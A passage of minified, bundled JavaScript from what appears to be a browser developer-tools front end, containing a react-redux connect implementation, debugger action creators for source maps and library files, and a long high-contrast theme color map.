e?F(e,"mapStateToProps"):void 0}function G(e){return e?void 0:B(function(){return{}})}var V=[j,G],K=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};function q(e,t,n){return K({},n,e,t)}function X(e){return function(t,n){n.displayName;var o=n.pure,r=n.areMergedPropsEqual,i=!1,a=void 0;return function(t,n,s){var l=e(t,n,s);if(i)o&&r(l,a)||(a=l);else{i=!0;a=l;0}return a}}}function J(e){return"function"==typeof e?X(e):void 0}function Y(e){return e?void 0:function(){return q}}var $=[J,Y];function Z(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}function Q(e,t,n,o){return function(r,i){return n(e(r,i),t(o,i),i)}}function ee(e,t,n,o,r){var i=r.areStatesEqual,a=r.areOwnPropsEqual,s=r.areStatePropsEqual,l=!1,c=void 0,u=void 0,d=void 0,h=void 0,p=void 0;function m(r,i){d=e(c=r,u=i);h=t(o,u);p=n(d,h,u);l=!0;return p}function g(){d=e(c,u);t.dependsOnOwnProps&&(h=t(o,u));return p=n(d,h,u)}function f(){e.dependsOnOwnProps&&(d=e(c,u));t.dependsOnOwnProps&&(h=t(o,u));return p=n(d,h,u)}function _(){var t=e(c,u),o=!s(t,d);d=t;o&&(p=n(d,h,u));return p}function v(e,t){var n=!a(t,u),o=!i(e,c);c=e;u=t;return n&&o?g():n?f():o?_():p}return function(e,t){return l?v(e,t):m(e,t)}}function te(e,t){var n=t.initMapStateToProps,o=t.initMapDispatchToProps,r=t.initMergeProps,i=Z(t,["initMapStateToProps","initMapDispatchToProps","initMergeProps"]),a=n(e,i),s=o(e,i),l=r(e,i);0;return(i.pure?ee:Q)(a,s,l,e,i)}var ne=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};function oe(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}function re(e,t,n){for(var o=t.length-1;o>=0;o--){var r=t[o](e);if(r)return r}return function(t,o){throw new Error("Invalid value of type "+typeof e+" for "+n+" argument when connecting component "+o.wrappedComponentName+".")}}function ie(e,t){return e===t}function ae(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.connectHOC,n=void 0===t?D:t,o=e.mapStateToPropsFactories,r=void 0===o?V:o,i=e.mapDispatchToPropsFactories,a=void 0===i?z:i,s=e.mergePropsFactories,l=void 0===s?$:s,c=e.selectorFactory,u=void 0===c?te:c;return function(e,t,o){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},s=i.pure,c=void 0===s||s,d=i.areStatesEqual,h=void 0===d?ie:d,p=i.areOwnPropsEqual,m=void 0===p?M:p,g=i.areStatePropsEqual,f=void 0===g?M:g,_=i.areMergedPropsEqual,v=void 0===_?M:_,b=oe(i,["pure","areStatesEqual","areOwnPropsEqual","areStatePropsEqual","areMergedPropsEqual"]),C=re(e,r,"mapStateToProps"),y=re(t,a,"mapDispatchToProps"),E=re(o,l,"mergeProps");return n(u,ne({methodName:"connect",getDisplayName:function(e){return"Connect("+e+")"},shouldHandleStateChanges:Boolean(e),initMapStateToProps:C,initMapDispatchToProps:y,initMergeProps:E,pure:c,areStatesEqual:h,areOwnPropsEqual:m,areStatePropsEqual:f,areMergedPropsEqual:v},b))}}var se=ae();n.d(t,"a",function(){return h});n.d(t,!1,function(){return d});n.d(t,!1,function(){return D});n.d(t,"b",function(){return se})},function(e,t,n){"use strict";var o=n(22),r=n(147),i=n(12),a=n(169),s=n(40),l=n(33),c=n(168);function u(e,t){c.b(e,t);return(...t)=>({type:"EXECUTE_HOST_ACTION",name:e,args:t})}n.d(t,"h",function(){return d});n.d(t,"c",function(){return h});n.d(t,"q",function(){return p});n.d(t,"p",function(){return m});n.d(t,"i",function(){return g});n.d(t,"n",function(){return f});n.d(t,"a",function(){return v});n.d(t,"f",function(){return T});n.d(t,"b",function(){return k});n.d(t,"m",function(){return x});n.d(t,"e",function(){return I});n.d(t,"o",function(){return L});n.d(t,"k",function(){return D});n.d(t,"l",function(){return R});n.d(t,"j",function(){return P});n.d(t,"d",function(){return A});n.d(t,"g",function(){return N});function d(){return{type:"DEBUGGER_RUN"}}function h(e){return{type:"DEBUGGER_BREAK",breakEventInfo:e}}function p(e){return{type:"WEB_WORKER_STARTED",threadDescription:e}}function m(e){return{type:"WEB_WORKER_FINISHED",id:e}}function g(e){return{isEnabled:e,type:"SET_JMC"}}function f(){return{type:"TOGGLE_LIBRARY_FRAMES"}}function _(e){return{type:"DEBUGGER_FILE_ADDED",file:e}}function v(e,t={}){return async(n,l)=>{n(_(e));const c=e.mimeType&&e.mimeType.includes("javascript")||e.url.endsWith(".js");Object(o.isEdpEnabled)()&&!Object(o.isEdpFeatureEnabled)("LibraryCode")||!c||b(n,l,e);let u=t.sourceMapUrl;if(!u&&t.processFileForSourceMap){const t=await Object(s.b)(e.url);t.success&&(u=Object(a.a)("sourceMappingURL",t.content))}u&&!i.a.isAbsoluteUrl(u)&&(u=i.a.makeUrlAbsolute(e.url,u));if(u){let t=u;i.a.isDataURI(u)&&(t=e.url);const o=await Object(s.b)(u);if(o.success&&o.content){const a=r.a.parseMapContent(o.content);if(!a.version||3!==a.version)return;if(a.sources.length>0){const o=[];for(let e of a.sources){if(!i.a.isAbsoluteUrl(e)){a.sourceRoot&&(e=i.a.pathCombine(a.sourceRoot,e));i.a.isAbsoluteUrl(e)||(e=i.a.makeUrlAbsolute(t,e));e=i.a.addFileProtocolIfNeeded(e)}const n=i.a.guessMimeTypeFromUrlExtension(e);o.push({id:y(),mimeType:n,url:e})}n(E(e.id,o))}}}}}async function b(e,t,n){const o=await Object(l.d)(n.url)===l.a.Library,r=t().debugger.urls.get(n.url);r&&r.isLibraryFile!==o&&e(I(n.url,o))}let C=0;function y(){return`__SOURCEMAPPED_FILE_${++C}`}function E(e,t){return{type:"DEBUGGER_SOURCE_MAPPED_FILES_ADDED",generatedFileId:e,files:t}}function S(e){return{type:"DEBUGGER_FILES_REMOVED",ids:e}}function T(e){return async(t,n)=>{const o=n().debugger;for(const n of e){const e=o.sourceMappedFiles.get(n),r=o.files.get(n);if(r){o.files.some(e=>e.id!==n&&e.url===r.url)||t(M(r.url))}e&&t(S(e.toArray()))}t(S(e))}}function w(e,t=1,n=1,o=""){Object(s.h)(e,t,n,o);return{type:"DEBUGGER_SHOW_DOCUMENT",url:e,oneBasedColumn:n,oneBasedLine:t,mimeType:o}}function k(e){return{type:"DEBUGGER_ADD_TO_RECENTLY_OPENED",url:e}}const x=u("DEBUGGER_SHOW_DOCUMENT",w);function I(e,t){return{type:"DEBUGGER_LIBRARY_URL_STATE_RECEIVED",url:e,isLibraryFile:t}}function O(e,t){return async(n,o)=>{const r=t?l.a.Library:l.a.UserCode,i=await Object(l.j)(e,r)===l.a.Library,a=o().debugger.urls.get(e);a&&a.isLibraryFile!==i&&n(I(e,i))}}const L=u("DEBUGGER_UPDATE_LIBRARY_URL_STATE",O);function D(e,t){return{type:"DEBUGGER_SET_URL_OPEN_STATE",url:e,isOpen:t}}function R(e,t){return{type:"DEBUGGER_SET_URL_PENDING_EDIT_STATE",url:e,hasPendingEdit:t}}function P(e,t,n="error"){return{type:"DEBUGGER_SET_URL_BADGE_STATE",url:e,badgeText:t,badgeType:n}}function M(e){return{type:"DEBUGGER_CLEAR_URL_STATE",url:e}}function A(){return{type:"DEBUGGER_DETACH"}}function B(e){return{type:"DEBUGGER_REVEAL_FILE",url:e}}function N(e){return async t=>{t(B(e));t(B(""))}}},function(e,t,n){"use strict";var o=n(139),r=n(5),i=n(161),a=n(6);const s={"plugin-font-family":'"Segoe UI"',"plugin-font-size":"12px","plugin-font-weight":"normal","plugin-color":"<COLOR_WINDOWTEXT>","plugin-contextmenu-active-color":"<COLOR_HIGHLIGHT>","plugin-contextmenu-background-color":"<COLOR_WINDOW>","plugin-contextmenu-border-color":"<COLOR_WINDOWFRAME>","plugin-contextmenu-color":"<COLOR_WINDOWTEXT>","plugin-contextmenu-hover-color":"<COLOR_HIGHLIGHT>","plugin-contextmenu-hover-text-color":"<COLOR_HIGHLIGHTTEXT>","plugin-contextmenu-inactive-text-color":"<COLOR_WINDOWTEXT>","plugin-contextmenu-separator-color":"<COLOR_HIGHLIGHTTEXT>","plugin-contextmenu-active-border-color":"<COLOR_HIGHLIGHTTEXT>","plugin-contextmenu-inactive-border-color":"<COLOR_INACTIVEBORDER>","plugin-contextmenu-inactive-background-color":"<COLOR_WINDOW>","plugin-contextmenu-checkbox-border-color":"<COLOR_HIGHLIGHTTEXT>","plugin-contextmenu-checkbox-background-color":"<COLOR_WINDOW>","plugin-contextmenu-checkbox-icon":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMBJREFUeNpi/P//PwM1ARMDlcEQNpCRkfE/LtzW1vZ/0qRJ2AMfFCnYMEgKG1ZWVv4PAsbGxv+x6iPVwIMHD/5ft27df4hbKDQQ6iowTbKB3Nzc/1lYWFAMvHTpEtx1JBu4f/9+sPeYmJjAmt3c3FBcR7KBaWlpYAM2btz4X1RU9P/Dhw9RXEdWGB4+fBhs6M+fPzFcR5aB6urqcMPQXUd2LLe0tGB1HdkGsrGx/e/q6sKaJrHpYxwtvgafgQABBgA5A/UQRbg4MQAAAABJRU5ErkJggg==","plugin-contextmenu-menuitem-background-image":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA5JREFUeNpiYGBgAAgwAAAEAAGbA+oJAAAAAElFTkSuQmCC","plugin-background-color":"<COLOR_WINDOW>","plugin-border-color":"<COLOR_WINDOWTEXT>","plugin-box-shadow-color":"<COLOR_WINDOWTEXT>","plugin-inactive-color":"<COLOR_INACTIVECAPTIONTEXT>","plugin-link-color":"<COLOR_HOTLIGHT>","plugin-link-hover-color":"<COLOR_HOTLIGHT>","plugin-link-active-color":"<COLOR_WINDOWTEXT>","plugin-link-active-selected-color":"<COLOR_HIGHLIGHTTEXT>","plugin-highlight-color":"<COLOR_HIGHLIGHTTEXT>","plugin-word-highlight-color":"<COLOR_WINDOW>","plugin-word-highlight-strong-color":"<COLOR_WINDOW>","plugin-highlight-border-color":"<COLOR_ACTIVEBORDER>","plugin-highlight-background-color":"<COLOR_HIGHLIGHT>","plugin-table-border-color":"<COLOR_WINDOW>","plugin-scrollbar-background-color":"<COLOR_SCROLLBAR>","plugin-scrollbar-face-color":"<COLOR_BTNFACE>","plugin-select-option-background-color":"<COLOR_WINDOW>","plugin-select-option-color":"<COLOR_WINDOWTEXT>","plugin-select-option-checked-background-color":"<COLOR_HIGHLIGHT>","plugin-select-option-checked-border-color":"<COLOR_HIGHLIGHT>","plugin-select-option-checked-foreground-color":"<COLOR_HIGHLIGHTTEXT>","plugin-select-option-hover-background-color":"<COLOR_HIGHLIGHT>","plugin-select-option-hover-border-color":"<COLOR_HIGHLIGHT>","plugin-select-option-hover-foreground-color":"<COLOR_HIGHLIGHTTEXT>","plugin-select-border-color":"<COLOR_WINDOWFRAME>","plugin-select-background-color":"<COLOR_WINDOW>","plugin-select-foreground-color":"<COLOR_WINDOWTEXT>","plugin-select-hover-background-color":"<COLOR_HIGHLIGHT>","plugin-select-hover-border-color":"<COLOR_WINDOWFRAME>","plugin-select-hover-foreground-color":"<COLOR_HIGHLIGHTTEXT>","plugin-textbox-disabled-background-color":"<COLOR_WINDOW>","plugin-textbox-color":"<COLOR_WINDOWTEXT>","plugin-textbox-background-color":"<COLOR_WINDOW>","plugin-textbox-border-color":"<COLOR_WINDOWTEXT>","plugin-tooltip-background-color":"<COLOR_WINDOW>","plugin-tooltip-border-color":"<COLOR_WINDOWFRAME>","plugin-tooltip-text-color":"<COLOR_WINDOWTEXT>","plugin-treeview-content-inactive-selected-background-color":"<COLOR_HIGHLIGHT>","plugin-treeview-content-inactive-selected-color":"<COLOR_HIGHLIGHTTEXT>","plugin-treeview-content-selected-background-color":"<COLOR_HIGHLIGHT>","plugin-treeview-content-selected-color":"<COLOR_HIGHLIGHTTEXT>","plugin-treeview-content-selected-border-color":"<COLOR_HIGHLIGHT>","plugin-treeview-content-background-color":"<COLOR_WINDOW>","plugin-treeview-content-mouseover-color":"<COLOR_HIGHLIGHTTEXT>","plugin-treeview-content-mouseover-background-color":"<COLOR_HIGHLIGHT>","plugin-treeview-hiddenElement-gutterGlyph-color":"<COLOR_WINDOWTEXT>","plugin-treeview-pseudoState-gutterGlyph-color":"<COLOR_WINDOWTEXT>","plugin-searchcontrol-clear-hover-color":"<COLOR_HIGHLIGHTTEXT>","plugin-searchcontrol-selection-color":"<COLOR_HIGHLIGHT>","plugin-searchcontrol-unfocused-watermark-text-color":"<COLOR_WINDOWTEXT>","plugin-searchcontrol-unfocused-background-color":"<COLOR_WINDOW>","plugin-searchcontrol-unfocused-border-color":"<COLOR_WINDOWTEXT>","plugin-searchcontrol-mouseover-watermark-text-color":"<COLOR_WINDOWTEXT>","plugin-searchcontrol-mouseover-background-background-color":"<COLOR_WINDOW>","plugin-searchcontrol-mouseover-background-foreground-color":"<COLOR_WINDOWTEXT>","plugin-searchcontrol-mouseover-border-color":"<COLOR_HIGHLIGHT>","plugin-menucontrol-background-color":"<COLOR_WINDOW>","plugin-pseudo-class-panel-disabled-color":"<COLOR_WINDOWTEXT>","plugin-styles-deleted-item-color":"<COLOR_INACTIVECAPTIONTEXT>","plugin-styles-changebar-add-color":"<COLOR_HIGHLIGHT>","plugin-styles-changebar-update-color":"<COLOR_HIGHLIGHT>","plugin-styles-changebar-remove-color":"<COLOR_HIGHLIGHT>","vs-combo-box-popup-background-begin-color":"<COLOR_WINDOW>","vs-combo-box-popup-border-color":"<COLOR_WINDOWTEXT>","vs-command-bar-gradient-begin-color":"<COLOR_WINDOW>","vs-command-bar-menu-separator-color":"<COLOR_WINDOW>","vs-command-bar-mouse-down-background-begin-color":"<COLOR_HOTLIGHT>","vs-command-bar-mouse-down-background-end-color":"<COLOR_HOTLIGHT>","vs-command-bar-mouse-down-border-color":"<COLOR_HOTLIGHT>","vs-command-bar-mouse-over-background-begin-color":"<COLOR_WINDOW>","vs-command-bar-mouse-over-background-middle1-color":"<COLOR_WINDOW>","vs-command-bar-options-background-color":"<COLOR_WINDOW>","vs-command-bar-selected-border-color":"<COLOR_HIGHLIGHT>","vs-command-bar-text-inactive-color":"<COLOR_INACTIVECAPTIONTEXT>","vs-command-bar-text-selected-color":"<COLOR_WINDOWTEXT>","vs-designer-selection-dots-color":"<COLOR_WINDOWTEXT>","vs-drop-down-background-color":"<COLOR_WINDOW>","vs-drop-down-border-color":"<COLOR_WINDOW>","vs-drop-down-button-mouse-over-background-color":"<COLOR_WINDOW>","vs-drop-down-disabled-text-color":"<COLOR_HIGHLIGHT>","vs-drop-down-mouse-over-background-begin-color":"<COLOR_WINDOW>","vs-drop-down-mouse-over-border-color":"<COLOR_WINDOW>","vs-drop-down-mouse-over-text-color":"<COLOR_WINDOWTEXT>","vs-drop-down-popup-background-begin-color":"<COLOR_WINDOW>","vs-drop-down-text-color":"<COLOR_WINDOWTEXT>","vs-drop-shadow-background-color":"<COLOR_WINDOWTEXT>","vs-file-preview-tab-background-color":"<COLOR_WINDOW>","vs-file-preview-tab-hover-background-color":"<COLOR_HIGHLIGHT>","vs-file-preview-tab-hover-text-color":"<COLOR_HIGHLIGHTTEXT>","vs-file-preview-tab-selected-background-color":"<COLOR_HIGHLIGHT>","vs-file-preview-tab-selected-text-color":"<COLOR_HIGHLIGHTTEXT>","vs-file-preview-tab-text-color":"<COLOR_WINDOWTEXT>","vs-file-tab-button-hover-selected-active-border-color":"<COLOR_WINDOWTEXT>","vs-file-tab-hot-gradient-bottom-color":"<COLOR_WINDOWTEXT>","vs-file-tab-hot-text-color":"<COLOR_WINDOW>","vs-file-tab-selected-gradient-bottom-color":"<COLOR_WINDOWTEXT>","vs-file-tab-selected-text-color":"<COLOR_WINDOW>","vs-file-tab-text-color":"<COLOR_WINDOWTEXT>","vs-horizontal-resize-grip-color":"<COLOR_WINDOWTEXT>","vs-main-window-button-down-color":"<COLOR_HOTLIGHT>","vs-main-window-button-down-glyph-color":"<COLOR_WINDOW>","vs-main-window-button-hover-active-color":"<COLOR_WINDOW>","vs-tool-window-background-color":"<COLOR_WINDOW>","vs-tool-window-text-color":"<COLOR_WINDOWTEXT>","vs-toolbox-background-color":"<COLOR_WINDOW>","vs-tree-view-selected-item-inactive-color":"<COLOR_WINDOW>","f12-header-background-color":"#000000","f12-header-background-inactive-color":"#000000","f12-header-badge-error-text-color":"#FFFFFF","f12-header-badge-error-selected-text-color":"#000000","f12-header-logo-text-color":"#FFFFFF","f12-header-disabled-text-color":"#ABABAC","f12-header-button-selected-border-color":"#FFFFFF","f12-header-divider-color":"#FFFFFF","f12-header-tab-background-color":"#000000","f12-header-tab-text-color":"#FFFFFF","f12-header-tab-selected-background-color":"#FFFFFF","f12-header-tab-selected-text-color":"#000000","f12-header-tab-hover-background-color":"#0000FF","f12-header-tab-hover-text-color":"#FFFFFF","f12-header-button-active-background-color":"#000000","f12-header-button-hover-background-color":"#0000FF","f12-toolbar-background-color":"<COLOR_WINDOW>","f12-toolbar-button-border-hover-color":"<COLOR_WINDOWFRAME>","f12-toolbar-button-hover-color":"<COLOR_HIGHLIGHT>","f12-toolbar-button-hover-text-color":"<COLOR_HIGHLIGHTTEXT>","f12-toolbar-button-pressed-color":"<COLOR_HIGHLIGHT>","f12-toolbar-border-color":"<COLOR_WINDOW>","f12-toolbar-button-selected-border-color":"<COLOR_WINDOW>","f12-toolbar-button-selected-text-color":"<COLOR_WINDOW>","f12-toolbar-button-selected-color":"<COLOR_ACTIVEBORDER>","f12-intellisense-hover-color":"<COLOR_HIGHLIGHTTEXT>","f12-intellisense-hover-background-color":"<COLOR_HIGHLIGHT>","f12-intellisense-checked-color":"<COLOR_HIGHLIGHTTEXT>","f12-intellisense-checked-background-color":"<COLOR_HIGHLIGHT>","f12-header-popup-hover":"<COLOR_HIGHLIGHT>","f12-header-popup-border-color":"<COLOR_WINDOWFRAME>","diagnostics-host-border":"<COLOR_WINDOWFRAME>","diagnostics-host-graph-cursor":"<COLOR_WINDOWFRAME>","diagnostics-host-graph-line":"<COLOR_WINDOWFRAME>","diagnostics-host-graph-scale":"<COLOR_WINDOWFRAME>","diagnostics-host-ruler-slider":"<COLOR_WINDOWFRAME>","diagnostics-host-ruler-slider-active":"<COLOR_HOTLIGHT>","diagnostics-host-ruler-tickmark":"<COLOR_WINDOWFRAME>","diagnostics-host-swimlane-border":"<COLOR_WINDOWFRAME>","plugin-memory-drop-down-button":"<COLOR_BTNFACE>","plugin-memory-drop-down-button-hover":"<COLOR_HIGHLIGHT>","plugin-memory-snapshot-button":"<COLOR_WINDOW>","plugin-memory-snapshot-button-active":"<COLOR_HIGHLIGHT>","plugin-memory-snapshot-button-active-text":"<COLOR_HIGHLIGHTTEXT>","plugin-memory-snapshot-button-border":"<COLOR_INACTIVEBORDER>","plugin-memory-snapshot-button-border-active":"<COLOR_ACTIVEBORDER>","plugin-memory-snapshot-button-border-hover":"<COLOR_ACTIVEBORDER>","plugin-memory-snapshot-button-disabled":"<COLOR_WINDOW>","plugin-memory-snapshot-button-disabled-text":"<COLOR_GRAYTEXT>","plugin-memory-snapshot-button-hover":"<COLOR_HIGHLIGHT>","plugin-memory-snapshot-button-hover-text":"<COLOR_HIGHLIGHTTEXT>","plugin-memory-snapshot-diff-added-text":"<COLOR_WINDOWTEXT>","plugin-memory-snapshot-diff-modified-text":"<COLOR_WINDOWTEXT>","plugin-memory-snapshot-messages-border":"<COLOR_ACTIVEBORDER>","plugin-memory-snapshot-tile":"<COLOR_WINDOW>","plugin-memory-snapshot-tile-baseline-text":"<COLOR_WINDOWTEXT>","plugin-memory-snapshot-tile-border":"<COLOR_ACTIVEBORDER>","plugin-memory-snapshot-tile-error-text":"<COLOR_WINDOWTEXT>","plugin-memory-snapshot-tile-header":"<COLOR_WINDOW>","plugin-memory-tab-header":"<COLOR_WINDOW>","plugin-memory-tab-text":"<COLOR_GRAYTEXT>","plugin-memory-tab-hover":"<COLOR_HIGHLIGHT>","plugin-memory-tab-hover-text":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-detail-pane":"<COLOR_WINDOW>","plugin-perftools-drop-down-button-focus":"<COLOR_HIGHLIGHT>","plugin-perftools-drop-down-button-focus-border":"<COLOR_ACTIVEBORDER>","plugin-perftools-focusdots":"<COLOR_HIGHLIGHT>","plugin-perftools-grid-column-sizer":"<COLOR_WINDOWFRAME>","plugin-perftools-grid-border-color":"<COLOR_WINDOWTEXT>","plugin-perftools-grid-header-hover":"<COLOR_HIGHLIGHT>","plugin-perftools-grid-header-hover-text":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-grid-header-text":"<COLOR_WINDOWTEXT>","plugin-perftoots-grid-groupline-color":"<COLOR_HOTLIGHT>","plugin-perftools-list-item-selected-active-background-color":"<COLOR_HIGHLIGHT>","plugin-perftools-menu":"<COLOR_MENU>","plugin-perftools-menu-border":"<COLOR_ACTIVEBORDER>","plugin-perftools-menu-drop-shadow":"<COLOR_WINDOWFRAME>","plugin-perftools-menu-focus":"<COLOR_HIGHLIGHT>","plugin-perftools-menu-focus-text":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-menu-hover":"<COLOR_HIGHLIGHT>","plugin-perftools-menu-hover-text":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-progress":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-splitter":"<COLOR_WINDOWFRAME>","plugin-perftools-treeview-content-mouseover-background-color":"<COLOR_HIGHLIGHT>","plugin-perftools-treeview-content-mouseover-color":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-treeview-content-selected-background-color":"<COLOR_HIGHLIGHT>","plugin-perftools-treeview-content-selected-color":"<COLOR_HIGHLIGHTTEXT>","plugin-perftools-watermark-text":"<COLOR_GRAYTEXT>","plugin-responsiveness-drop-down-button-hover":"<COLOR_HIGHLIGHT>","plugin-responsiveness-graph-border":"<COLOR_WINDOWFRAME>","plugin-subheading-color":"<COLOR_WINDOWTEXT>","plugin-font-console":'"Consolas"',"plugin-font-console-color":"<COLOR_WINDOWTEXT>","plugin-font-console-background-color":"<COLOR_WINDOW>","plugin-font-console-output-color":"<COLOR_WINDOWTEXT>","plugin-font-console-output-background-color":"<COLOR_WINDOW>","plugin-font-console-input-color":"<COLOR_WINDOWTEXT>","plugin-font-console-input-background-color":"<COLOR_WINDOW>","plugin-font-console-inputarea-color":"<COLOR_WINDOWTEXT>","plugin-font-console-inputarea-background-color":"<COLOR_WINDOW>","plugin-font-console-info-color":"<COLOR_WINDOWTEXT>","plugin-font-console-info-background-color":"<COLOR_WINDOW>","plugin-font-console-warning-color":"<COLOR_WINDOWTEXT>","plugin-font-console-warning-background-color":"<COLOR_WINDOW>","plugin-font-console-error-color":"<COLOR_WINDOWTEXT>","plugin-font-console-error-background-color":"<COLOR_WINDOW>","plugin-font-editor":'"Consolas"',"plugin-font-editor-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-background-color":"<COLOR_WINDOW>","plugin-font-editor-selected-background-color":"<COLOR_HOTLIGHT>","plugin-font-editor-selected-border-color":"<COLOR_HOTLIGHT>","plugin-font-editor-collapse-adornment-color":"<COLOR_HOTLIGHT>","plugin-font-editor-keyword-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-keyword-background-color":"<COLOR_WINDOW>","plugin-font-editor-string-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-string-background-color":"<COLOR_WINDOW>","plugin-font-editor-number-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-number-background-color":"<COLOR_WINDOW>","plugin-font-editor-regexp-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-regexp-background-color":"<COLOR_WINDOW>","plugin-font-editor-symbol-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-symbol-background-color":"<COLOR_WINDOW>","plugin-font-editor-identifier-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-literal-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-comment-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-tag-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-tag-background-color":"<COLOR_WINDOW>","plugin-font-editor-html-element-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-element-background-color":"<COLOR_WINDOW>","plugin-font-editor-html-comment-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-comment-background-color":"<COLOR_WINDOW>","plugin-font-editor-html-attribute-name-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-attribute-name-background-color":"<COLOR_WINDOW>","plugin-font-editor-html-attribute-value-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-attribute-value-background-color":"<COLOR_WINDOW>","plugin-font-editor-html-operator-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-html-operator-background-color":"<COLOR_WINDOW>","plugin-font-editor-css-name-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-css-name-background-color":"<COLOR_WINDOW>","plugin-font-editor-css-value-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-css-value-background-color":"<COLOR_WINDOW>","plugin-font-editor-css-selector-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-css-selector-background-color":"<COLOR_WINDOW>","plugin-font-editor-margin-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-margin-background-color":"<COLOR_WINDOW>","plugin-font-editor-instruction-pointer-background-color":"<COLOR_HIGHLIGHT>","plugin-font-editor-breakpoint-background-color":"<COLOR_INACTIVECAPTIONTEXT>","plugin-font-editor-erroradornment-color":"<COLOR_WINDOW>","plugin-font-editor-erroradornment-background-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-search-result-background-color":"<COLOR_ACTIVECAPTION>","plugin-font-editor-current-statement-color":"<COLOR_WINDOWTEXT>","plugin-font-editor-current-statement-background-color":"<COLOR_WINDOW>","plugin-font-editor-text-spotlight-background-color":"<COLOR_HIGHLIGHT>","plugin-editor-scrollbar-marker-instruction-pointer-color":"<COLOR_WINDOWTEXT>","plugin-editor-scrollbar-marker-breakpoint-color":"<COLOR_WINDOWTEXT>","plugin-editor-scrollbar-marker-active-frame-color":"<COLOR_WINDOWTEXT>","plugin-editor-scrollbar-marker-search-result-color":"<COLOR_WINDOWTEXT>","plugin-editor-selected-text-focus-background-color":"<COLOR_WINDOW>","plugin-editor-selected-text-background-color":"<COLOR_WINDOW>","plugin-debugger-grid-row-hover-background-color":"<COLOR_WINDOW>","plugin-debugger-grid-row-selected-background-color":"<COLOR_WINDOWTEXT>","plugin-debugger-grid-active-splitter-color":"<COLOR_WINDOWTEXT>","plugin-debugger-tab-color":"<COLOR_WINDOWTEXT>","plugin-debugger-tab-area-background-color":"<COLOR_WINDOW>","plugin-debugger-button-active-background-color":"<COLOR_WINDOW>","plugin-debugger-button-toggled-on-background-color":"<COLOR_WINDOW>","plugin-debugger-button-toggled-on-border-color":"<COLOR_HOTLIGHT>","plugin-debugger-watch-font-color":"<COLOR_WINDOWTEXT>","plugin-debugger-watch-overlay-color":"#888888","plugin-debugger-filepicker-background-color":"<COLOR_WINDOW>","plugin-debugger-document-toolbar-seperator-color":"<COLOR_WINDOWTEXT>","plugin-tab-header-background-color":"<COLOR_BTNSHADOW>","plugin-tab-header-active-background-color":"<COLOR_WINDOW>","plugin-tab-header-hover-background-color":"<COLOR_HIGHLIGHT>","plugin-tab-header-color":"<COLOR_BTNTEXT>","plugin-tab-header-active-color":"<COLOR_WINDOWTEXT>","plugin-tab-header-hover-color":"<COLOR_BTNFACE>","plugin-breadcrumb-border-color":"<COLOR_WINDOWTEXT>","plugin-breadcrumb-background-color":"<COLOR_WINDOW>","plugin-breadcrumb-hover-color":"<COLOR_WINDOW>","plugin-breadcrumb-hover-background-color":"<COLOR_HOTLIGHT>","plugin-breadcrumb-selected-color":"<COLOR_HIGHLIGHTTEXT>","plugin-breadcrumb-selected-background-color":"<COLOR_HIGHLIGHT>","plugin-breadcrumb-tooltip-color":"<COLOR_WINDOWTEXT>","plugin-breadcrumb-tooltip-background-color":"<COLOR_WINDOW>","plugin-breadcrumb-tooltip-border-color":"<COLOR_HOTLIGHT>","plugin-network-grid-border-color":"<COLOR_WINDOWTEXT>","plugin-network-grid-cell-even-background-color":"<COLOR_WINDOW>","plugin-network-grid-cell-odd-background-color":"<COLOR_WINDOW>","plugin-network-grid-column-header-background-color":"<COLOR_WINDOW>","plugin-network-grid-path-color":"<COLOR_WINDOWTEXT>","plugin-network-grid-path-color-highlighted":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-path-color-selected":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-response-blur-cache-color":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-response-blur-error-color":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-response-cache-color":"<COLOR_WINDOWTEXT>","plugin-network-grid-response-error-color":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-response-selected-cache-color":"<COLOR_HIGHLIGHTTEXT>","plugin-network-grid-response-selected-error-color":"<COLOR_HIGHLIGHTTEXT>","plugin-network-splitter":"<COLOR_BTNSHADOW>","plugin-network-tabpane-key-color":"<COLOR_WINDO